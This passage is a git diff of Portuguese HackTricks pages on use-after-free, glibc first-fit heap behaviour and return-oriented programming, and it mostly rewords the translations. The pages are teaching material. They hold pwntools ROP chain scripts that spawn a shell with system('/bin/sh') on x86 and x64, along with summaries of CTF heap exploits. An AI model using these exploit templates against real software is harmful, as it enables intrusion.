"uso após liberação", onde um atacante poderia **alterar o conteúdo da memória que é realocada**, criando um risco de segurança.\ +Um ataque de first fit visa a forma como alguns alocadores de memória, como no glibc, gerenciam a memória liberada. Quando você libera um bloco de memória, ele é adicionado a uma lista, e novos pedidos de memória puxam dessa lista a partir do final. Os atacantes podem usar esse comportamento para manipular **quais blocos de memória são reutilizados, potencialmente ganhando controle sobre eles**. Isso pode levar a problemas de "use-after-free", onde um atacante poderia **mudar o conteúdo da memória que é realocada**, criando um risco de segurança.\ Confira mais informações em: {% content-ref url="first-fit.md" %} @@ -31,16 +31,16 @@ Confira mais informações em: {% endcontent-ref %} {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/libc-heap/use-after-free/first-fit.md b/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7b5ed74f2..a6e495feb 100644 --- a/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -1,34 +1,34 @@ # First Fit {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ## **First Fit** -Quando você libera memória em um programa usando glibc, diferentes "bins" são usados para gerenciar os pedaços de memória. Aqui está uma explicação simplificada de dois cenários comuns: bins não ordenados e fastbins. +Quando você libera memória em um programa usando glibc, diferentes "bins" são usados para gerenciar os blocos de memória. Aqui está uma explicação simplificada de dois cenários comuns: bins não ordenados e fastbins. ### Bins Não Ordenados -Quando você libera um pedaço de memória que não é um pedaço rápido, ele vai para o bin não ordenado. Este bin age como uma lista onde novos pedaços liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo pedaço de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um pedaço grande o suficiente. Se um pedaço do bin não ordenado for maior do que o necessário, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin. +Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado a partir de trás (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin. Exemplo: -* Você aloca 300 bytes (`a`), então 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`). +* Você aloca 300 bytes (`a`), depois 250 bytes (`b`), libera `a` e solicita novamente 250 bytes (`c`). * Quando você libera `a`, ele vai para o bin não ordenado. -* Se você então solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que se encaixa na sua solicitação e mantendo o restante no bin. -* `c` estará apontando para o `a` anterior e preenchido com os dados do `a`. +* Se você solicitar 250 bytes novamente, o alocador encontra `a` na cauda e o divide, retornando a parte que atende ao seu pedido e mantendo o restante no bin. +* `c` apontará para o anterior `a` e será preenchido com os `a's`. ```c char *a = malloc(300); char *b = malloc(250); @@ -37,13 +37,13 @@ char *c = malloc(250); ``` ### Fastbins -Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, os fastbins adicionam novos pedaços à cabeça, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar da cabeça do fastbin. +Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá puxar do início do fastbin. Exemplo: * Você aloca quatro pedaços de 20 bytes cada (`a`, `b`, `c`, `d`). -* Quando você os libera em qualquer ordem, os pedaços liberados são adicionados à cabeça do fastbin. -* Se você então solicitar um pedaço de 20 bytes, o alocador irá retornar o pedaço mais recentemente liberado da cabeça do fastbin. +* Quando você os libera em qualquer ordem, os pedaços liberados são adicionados ao início do fastbin. +* Se você então solicitar um pedaço de 20 bytes, o alocador retornará o pedaço mais recentemente liberado do início do fastbin. ```c char *a = malloc(20); char *b = malloc(20); @@ -58,16 +58,16 @@ b = malloc(20); // c c = malloc(20); // b d = malloc(20); // a ``` -## Outras Referências e Exemplos +## Outras Referências & Exemplos * [**https://heap-exploitation.dhavalkapil.com/attacks/first\_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first\_fit) * [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) -* ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que recebe o chunk liberado e permite escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **burlar a verificação de senha** +* ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que receba o chunk liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha** * [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use\_after\_free/#example) * O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\) com o conteúdo da nota. -* O ataque seria criar 2 notas (nota0 e nota1) com conteúdos de malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache). -* Em seguida, crie outra nota (nota2) com tamanho de conteúdo 8. O conteúdo estará na nota1, pois o chunk será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free na nota1 para chamar o novo ponteiro da função. +* O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache). +* Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o chunk será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função. * [**https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/pico\_areyouroot/index.html) -* É possível alocar alguma memória, escrever o valor desejado, liberá-lo, realocá-lo e como os dados anteriores ainda estão lá, eles serão tratados de acordo com a nova estrutura esperada no chunk, tornando possível definir o valor ou obter a flag. +* É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no chunk, tornando possível definir o valor para obter a flag. * [**https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap\_grooming/swamp19\_heapgolf/index.html) -* Neste caso, é necessário escrever 4 dentro de um chunk específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo chunk alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 chunks (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último chunk liberado, que é o que contém 4 dentro dele. +* Neste caso, é necessário escrever 4 dentro de um chunk específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo chunk alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 chunks (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último chunk liberado, que é o que tem 4 dentro dele. diff --git a/binary-exploitation/rop-return-oriented-programing/README.md b/binary-exploitation/rop-return-oriented-programing/README.md index 58a3f9495..01677fe60 100644 --- a/binary-exploitation/rop-return-oriented-programing/README.md +++ b/binary-exploitation/rop-return-oriented-programing/README.md @@ -1,57 +1,57 @@ # ROP - Programação Orientada a Retorno {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} ## **Informações Básicas** -**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget geralmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir uma carga útil para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP. +**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP. ### Como o ROP Funciona -1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, geralmente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha. -2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso poderia envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza necessária ou operações adicionais. -3. **Execução da Carga Útil**: Quando a função vulnerável retorna, em vez de retornar para uma localização legítima, ela começa a executar a cadeia de gadgets. +1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha. +2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza ou operações adicionais necessárias. +3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, ela começa a executar a cadeia de gadgets. ### Ferramentas Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou diretamente do **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). -## Cadeia ROP no Exemplo x86 +## Exemplo de Cadeia ROP em x86 -### **Convenções de Chamada x86 (32 bits)** +### **Convenções de Chamada x86 (32-bit)** -* **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.** -* **stdcall**: Semelhante ao cdecl, mas o callee é responsável por limpar a pilha. +* **cdecl**: O chamador limpa a pilha. Os argumentos da função são empilhados na pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empilhados da direita para a esquerda.** +* **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha. ### **Encontrando Gadgets** -Primeiramente, vamos assumir que identificamos os gadgets necessários dentro do binário ou de suas bibliotecas carregadas. Os gadgets de interesse são: +Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são: -* `pop eax; ret`: Este gadget desempilha o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo controlar `EAX`. -* `pop ebx; ret`: Semelhante ao anterior, mas para o registrador `EBX`, possibilitando controle sobre `EBX`. -* `mov [ebx], eax; ret`: Move o valor em `EAX` para a localização de memória apontada por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**. +* `pop eax; ret`: Este gadget retira o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`. +* `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`. +* `mov [ebx], eax; ret`: Move o valor em `EAX` para o local de memória apontado por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**. * Além disso, temos o endereço da função `system()` disponível. ### **Cadeia ROP** -Usando o **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma visando executar `system('/bin/sh')`, observe como a cadeia começa com: +Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com: 1. Uma instrução `ret` para fins de alinhamento (opcional) -2. Endereço da função `system` (supondo ASLR desativado e libc conhecida, mais informações em [**Ret2lib**](ret2lib/)) -3. Marcador de posição para o endereço de retorno de `system()` +2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/)) +3. Placeholder para o endereço de retorno da `system()` 4. Endereço da string `"/bin/sh"` (parâmetro para a função system) ```python from pwn import * @@ -86,26 +86,26 @@ payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive() ``` -## Exemplo de Cadeia ROP em x64 +## ROP Chain in x64 Example -### **Convenções de chamada x64 (64 bits)** +### **x64 (64-bit) Calling conventions** -* Utiliza a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **primeiros seis argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`. -* A convenção de chamada do **Windows x64** utiliza `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`. -* **Registradores**: Os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`. +* Usa a convenção de chamada **System V AMD64 ABI** em sistemas Unix-like, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`. +* A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`. +* **Registradores**: registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`. -#### **Encontrando Gadgets** +#### **Finding Gadgets** -Para nosso propósito, vamos focar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets: +Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como um argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets: -* **pop rdi; ret**: Desempilha o valor do topo da pilha em **RDI** e então retorna. Essencial para definir nosso argumento para **system()**. -* **ret**: Um retorno simples, útil para alinhamento de pilha em alguns cenários. +* **pop rdi; ret**: Retira o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**. +* **ret**: Um retorno simples, útil para alinhamento da pilha em alguns cenários. E sabemos o endereço da função **system()**. -### **Cadeia ROP** +### **ROP Chain** -Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP com o objetivo de executar **system('/bin/sh')** em **x64**: +Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP visando executar **system('/bin/sh')** em **x64**: ```python from pwn import * @@ -143,76 +143,78 @@ p.interactive() Neste exemplo: * Utilizamos o gadget **`pop rdi; ret`** para definir **`RDI`** como o endereço de **`"/bin/sh"`**. -* Saltamos diretamente para **`system()`** após definir **`RDI`**, com o endereço de **`system()`** na cadeia. -* O **`ret_gadget`** é usado para alinhamento se o ambiente de destino exigir, o que é mais comum em **x64** para garantir o alinhamento adequado da pilha antes de chamar funções. +* Pulamos diretamente para **`system()`** após definir **`RDI`**, com o endereço de **system()** na cadeia. +* **`ret_gadget`** é usado para alinhamento se o ambiente alvo exigir, o que é mais comum em **x64** para garantir o alinhamento adequado da pilha antes de chamar funções. ### Alinhamento da Pilha -**O ABI x86-64** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que exigem esse alinhamento. Se a pilha não estiver alinhada corretamente (ou seja, **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP. +**O ABI x86-64** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **ret gadget** antes de chamar **system** em sua cadeia ROP. -## Diferença principal entre x86 e x64 +## Principal diferença entre x86 e x64 {% hint style="success" %} -Como **x64 usa registradores para os primeiros argumentos**, muitas vezes requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets corretos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereçamento. O aumento do número de registradores e do maior espaço de endereçamento na arquitetura **x64** oferece tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP). +Como **x64 usa registradores para os primeiros argumentos,** geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereçamento. O aumento do número de registradores e o maior espaço de endereçamento na arquitetura **x64** oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP). {% endhint %} -## Exemplo de Cadeia ROP em ARM64 +## Exemplo de cadeia ROP em ARM64 -### **Noções Básicas do ARM64 & Convenções de Chamada** +### **Conceitos Básicos de ARM64 & Convenções de Chamada** -Verifique a seguinte página para obter essas informações: +Verifique a página a seguir para essas informações: {% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} [arm64-basic-assembly.md](../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) {% endcontent-ref %} + + ## Proteções Contra ROP -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções tornam mais difícil o uso de ROP, pois os endereços dos gadgets mudam entre as execuções. -* [**Canários de Pilha**](../common-binary-protections-and-bypasses/stack-canaries/): Em caso de BOF, é necessário ignorar o canário de pilha para sobrescrever os ponteiros de retorno e abusar de uma cadeia ROP. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções. +* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Em caso de um BOF, é necessário contornar os canários da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP. * **Falta de Gadgets**: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP. -## Técnicas Baseadas em ROP +## Técnicas baseadas em ROP Observe que ROP é apenas uma técnica para executar código arbitrário. Com base em ROP, muitas técnicas Ret2XXX foram desenvolvidas: -* **Ret2lib**: Usa ROP para chamar funções arbitrariamente de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`. +* **Ret2lib**: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como `system('/bin/sh')`. {% content-ref url="ret2lib/" %} [ret2lib](ret2lib/) {% endcontent-ref %} -* **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazê-la executar comandos arbitrários. +* **Ret2Syscall**: Usa ROP para preparar uma chamada a uma syscall, por exemplo, `execve`, e fazer com que execute comandos arbitrários. {% content-ref url="rop-syscall-execv/" %} [rop-syscall-execv](rop-syscall-execv/) {% endcontent-ref %} -* **EBP2Ret & EBP Chaining**: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços de EBP (embora também seja necessário controlar o EIP). +* **EBP2Ret & EBP Chaining**: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços EBP (embora também seja necessário controlar o EIP). {% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} [stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) {% endcontent-ref %} -## Outros Exemplos e Referências +## Outros Exemplos & Referências * [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) * [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html) -* 64 bits, Pie e nx habilitados, sem canário, sobrescreva RIP com um endereço `vsyscall` com o único propósito de retornar para o próximo endereço na pilha que será uma sobrescrita parcial do endereço para obter a parte da função que vaza a flag +* 64 bits, Pie e nx habilitados, sem canário, sobrescrever RIP com um endereço `vsyscall` com o único propósito de retornar ao próximo endereço na pilha, que será uma sobrescrição parcial do endereço para obter a parte da função que vaza a flag. * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -* arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para shellcode na pilha +* arm64, sem ASLR, gadget ROP para tornar a pilha executável e pular para o shellcode na pilha. {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 726dc8f81..bed34d6b3 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
